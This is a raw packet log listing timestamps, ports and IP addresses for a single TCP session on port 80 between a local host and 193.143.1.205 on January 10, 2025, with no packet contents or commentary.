Jan 10, 2025 16:25:25.054943085 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.054971933 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.054984093 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.054996967 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.055007935 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.055022955 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.055036068 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.055037975 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.055061102 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.055082083 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.055794954 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.055845976 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.055886984 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.055906057 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.055919886 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.055929899 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.055942059 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.055948973 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.055953026 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.055964947 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.056015015 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.056700945 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.056723118 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.056767941 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.056771040 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.056780100 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.056792974 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.056804895 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.056823969 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.056829929 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.056843996 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.057559013 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.057604074 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.057640076 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.057651997 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.057671070 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.057682037 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.057687044 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.057694912 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.057706118 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.057738066 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.057763100 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.058481932 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.058497906 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.058511019 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.058520079 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.058541059 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.058584929 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.060219049 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.069906950 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.083950996 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.083976984 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.083995104 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.084007978 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.084017992 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.084031105 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.084031105 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.084050894 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.084075928 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.084083080 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.084086895 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.084100008 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.084116936 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.084129095 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.084139109 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.084139109 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.084153891 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.084165096 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.084172964 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.084197998 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.084208965 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.093614101 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.123980999 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.124018908 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.124038935 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.124053001 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.124063969 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.124077082 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.124125957 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.124177933 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.142332077 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142358065 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142371893 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142383099 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142394066 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142404079 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142414093 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142432928 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142442942 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142446041 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.142457962 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142467022 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142482042 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.142524958 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.142551899 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142565012 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142575979 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142586946 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142591000 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.142600060 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142626047 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.142653942 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.142674923 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142684937 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.142719030 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.173350096 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.173367023 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.173378944 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.173419952 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.173489094 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.173501968 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.173511982 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.173525095 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.173542023 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.173583031 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.173666954 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.173676968 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.173683882 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.173696041 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.173719883 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.173814058 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.173825026 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.173837900 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.173847914 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.173857927 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.173880100 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.174113989 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174124002 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174133062 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174144030 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174154997 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174159050 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.174204111 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.174300909 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174312115 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174323082 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174344063 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.174384117 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174396038 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174422979 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.174567938 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174580097 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174591064 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174602032 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174608946 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.174645901 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.174717903 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174730062 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174762964 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.174892902 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174906015 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174917936 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.174940109 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.174967051 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.175062895 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175074100 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175085068 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175095081 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175106049 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.175107002 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175117016 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175127983 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175137997 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175141096 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.175148964 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175160885 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175179005 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.175203085 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.175240040 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175250053 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175299883 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.175776958 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175792933 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175803900 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175815105 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175825119 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175836086 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175842047 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.175848007 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.175925016 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.179619074 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.179944038 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.179997921 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.180110931 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180128098 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180139065 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180149078 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180166960 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180176973 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180187941 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180187941 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.180198908 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180208921 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.180210114 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180222988 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180233955 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.180233955 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180244923 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180257082 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180278063 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.180301905 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.180330038 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180346966 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180357933 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180368900 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180375099 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.180380106 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180391073 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180402040 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.180434942 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.180521011 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180540085 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180552006 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180562019 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.180563927 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180592060 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.180691957 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180702925 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180713892 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180737972 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.180747032 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.180767059 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.181107044 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181117058 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181128025 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181139946 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181147099 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.181150913 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181162119 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181171894 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181178093 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.181183100 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181189060 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181194067 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.181200027 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181224108 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.181235075 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181246042 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181253910 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181287050 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.181426048 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181437969 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181469917 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.181768894 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181780100 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.181813002 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.204766989 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.204794884 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.204812050 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.204823971 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.204835892 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.204844952 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.204847097 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.204849005 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.204870939 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.204901934 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.217695951 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.228688955 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.234461069 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.234539986 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.234615088 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.234646082 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.234658957 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.234671116 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.234682083 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.234682083 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.234694958 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.234704971 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.234731913 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.262944937 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.262970924 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.262980938 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263027906 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263031960 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263044119 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263062954 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263075113 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263077974 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263086081 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263096094 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263098001 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263122082 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263180017 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263190985 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263202906 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263216972 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263220072 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263231993 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263240099 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263242960 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263269901 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263324022 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263361931 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263367891 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263379097 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263390064 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263401031 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263411999 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263413906 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263427973 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263467073 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263485909 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263495922 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263506889 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263513088 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263530016 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263600111 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263611078 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263628960 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263641119 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263645887 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263653040 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263664007 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263674021 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263679981 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263689995 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263693094 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263701916 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263720989 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263744116 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263828039 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263839006 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263850927 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263875961 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263885975 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263896942 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263906956 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263931036 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263931990 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263947010 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263952017 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.263957977 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263968945 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263978958 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.263978958 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.264018059 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.264131069 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264142990 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264153957 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264173985 CET	49763	80	192.168.2.9	193.143.1.205
